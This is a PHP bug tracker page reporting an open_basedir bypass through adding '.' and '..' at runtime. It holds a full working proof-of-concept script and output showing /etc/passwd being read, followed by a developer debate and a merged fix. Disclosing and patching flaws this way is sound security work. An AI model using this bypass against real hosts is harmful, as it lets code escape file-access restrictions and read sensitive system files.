php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #76359 open_basedir bypass through adding ".."
Submitted: 2018-05-20 19:02 UTC Modified: 2021-05-21 10:50 UTC
From: buglloc at yandex dot ru Assigned: cmb (profile)
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 7.2.5 OS: GNU/Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: buglloc at yandex dot ru
New email:
PHP Version: OS:

 

 [2018-05-20 19:02 UTC] buglloc at yandex dot ru
Description:
------------
open_basedir can by bypassed with two preconditions:
  - allowed ini_set function (almost always allowed)
  - have writable dir in any of open_basedir paths

Look at the test script, I hope it does the following:
   - creates a folder in one of the allowed open_basedirs
   - moved into it
   - adds "." and ".." into the "open_basedir", because this is allowed (".." and "." are within the allowed directories)
   - goes to the root, because ".." in the "open_basedir"
   - sets "open_basedir" to "/", because "." in the "open_basedir"

Let's test it:
$ php -v
PHP 7.2.5 (cli) (built: May 10 2018 20:21:23) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

$ php -d 'open_basedir=/tmp/' -f poc.php
PHP Warning:  file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/tmp/) in /tmp/poc.php on line 12
PHP Warning:  file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /tmp/poc.php on line 12
try to read /etc/passwd: false
original open_basedir: '/tmp/'
PHP Warning:  mkdir(): File exists in /tmp/poc.php on line 31
create subdir /tmp/test123: false
cwd into /tmp/test123: true
add "." and ".." into open_basedir setting: '/tmp/'
cd ..: true
current cwd: '/tmp'
cd ..: true
current cwd: '/'
set "/" as allowed open_basedir: '/tmp/:.:..'
try to read /etc/passwd: 'root:x:0:0::/root:/bin/bash
daemon:x:2:2::/:/sbin/nologin
mail:x:12:12::/var/spool/mail:/sbin/nologin
systemd-journal-remote:x:981:981:systemd Journal Remote:/:/sbin/nologin
uuidd:x:68:68::/:/sbin/nologin
systemd-resolve:x:980:980:systemd Resolver:/:/sbin/nologin
http:x:33:33::/srv/http:/sbin/nologin
systemd-network:x:979:979:systemd Network Management:/:/sbin/nologin
systemd-coredump:x:982:982:systemd Core Dumper:/:/sbin/nologin
dbus:x:81:81:System Message Bus:/:/sbin/nologin
nobody:x:65534:65534:Nobody:/:/sbin/nologin
ftp:x:14:11::/srv/ftp:/sbin/nologin
bin:x:1:1::/:/sbin/nologin
buglloc:x:1000:1000::/home/buglloc:/bin/zsh
git:x:978:978:git daemon user:/:/usr/bin/git-shell
avahi:x:977:977:Avahi mDNS/DNS-SD daemon:/:/sbin/nologin
colord:x:976:976:Color management daemon:/var/lib/colord:/sbin/nologin
polkitd:x:102:102:PolicyKit daemon:/:/sbin/nologin
usbmux:x:140:140:usbmux user:/:/sbin/nologin
dnsmasq:x:973:973:dnsmasq daemon:/:/sbin/nologin
ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false
rtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin
'


Test script:
---------------
<?php

function step($desc, $result = null) {
    if ($result !== null) {
        $r = var_export($result, true);
        echo "${desc}: ${r}\n";
    } else {
        echo "${desc}\n";
    }
}

step('try to read /etc/passwd', file_get_contents('/etc/passwd'));

$origBasedir = ini_get('open_basedir');
step('original open_basedir', $origBasedir);

$targetDir = '';
foreach (explode(':', $origBasedir) as $path) {
    $path = realpath($path);
    if (is_writable($path)) {
        $targetDir = $path;
        break;
    }
}

if (!$targetDir) {
    die('failed to get a writable directory in the list of allowed basedirs');
}

$subdir = $targetDir.'/test123';
step("create subdir ${subdir}", mkdir($subdir));
step("cwd into ${subdir}", chdir($subdir));
step('add "." and ".." into open_basedir setting', ini_set('open_basedir', "${origBasedir}:.:.."));
while (getcwd() !== '/') {
    step('cd ..', chdir('..'));
    step('current cwd', getcwd());
}

step('set "/" as allowed open_basedir', ini_set('open_basedir', '/'));
step('try to read /etc/passwd', file_get_contents('/etc/passwd'));


Expected result:
----------------
Settings ".." or "." into open_basedir must be prohibited

Actual result:
--------------
We easily can bypass open_basedir restriction and read "/etc/passwd" (or any other) file

Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-05-20 21:08 UTC] rasmus@php.net
-Status: Open +Status: Analyzed
 [2018-05-20 21:08 UTC] rasmus@php.net
You left out the 3rd and most important pre-condition there. That the attacker can write arbitrary PHP code and execute it. With that condition it is game over.

open_basedir isn't meant to protect the system from a local user. open_basedir is meant to protect an application from accessing directories it was not written to access. In your case you are writing an application explicitly to circumvent open_basedir which is well outside its scope.

Having said that, I can't see any reason to ever allow adding ".." to open_basedir at runtime which is an easy fix.
 [2021-05-21 10:10 UTC] cmb@php.net
-Type: Security +Type: Bug -Assigned To: +Assigned To: cmb
 [2021-05-21 10:10 UTC] cmb@php.net
Indeed, this is not a security issue according to our
classification[1].

[1] <https://wiki.php.net/security>
 [2021-05-21 10:17 UTC] rtrtrtrtrt at dfdfdfdf dot dfd
> open_basedir isn't meant to protect the system from a local user. 
> open_basedir is meant to protect an application from accessing 
> directories it was not written to access

this is wrong!

the purpose of open_basedir is that customer A can't write/access to webspace from customer B and please don't come up with containers
 [2021-05-21 10:50 UTC] cmb@php.net
> the purpose of open_basedir is that customer A can't
> write/access to webspace from customer B

Nope.

BTW, I liked it more when you used the self-describing mail
address *spam* AT rhsoft DOT net.
 [2021-05-21 10:51 UTC] cmb@php.net
The following pull request has been associated:

Patch Name: Fix #76359: open_basedir bypass through adding ".."
On GitHub:  https://github.com/php/php-src/pull/7024
Patch:      https://github.com/php/php-src/pull/7024.patch
 [2021-05-25 11:48 UTC] git@php.net
Automatic comment on behalf of cmb69
Revision: https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c
Log: Fix #76359: open_basedir bypass through adding &quot;..&quot;
 [2021-05-25 11:48 UTC] git@php.net
-Status: Analyzed +Status: Closed
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 12:01:29 2024 UTC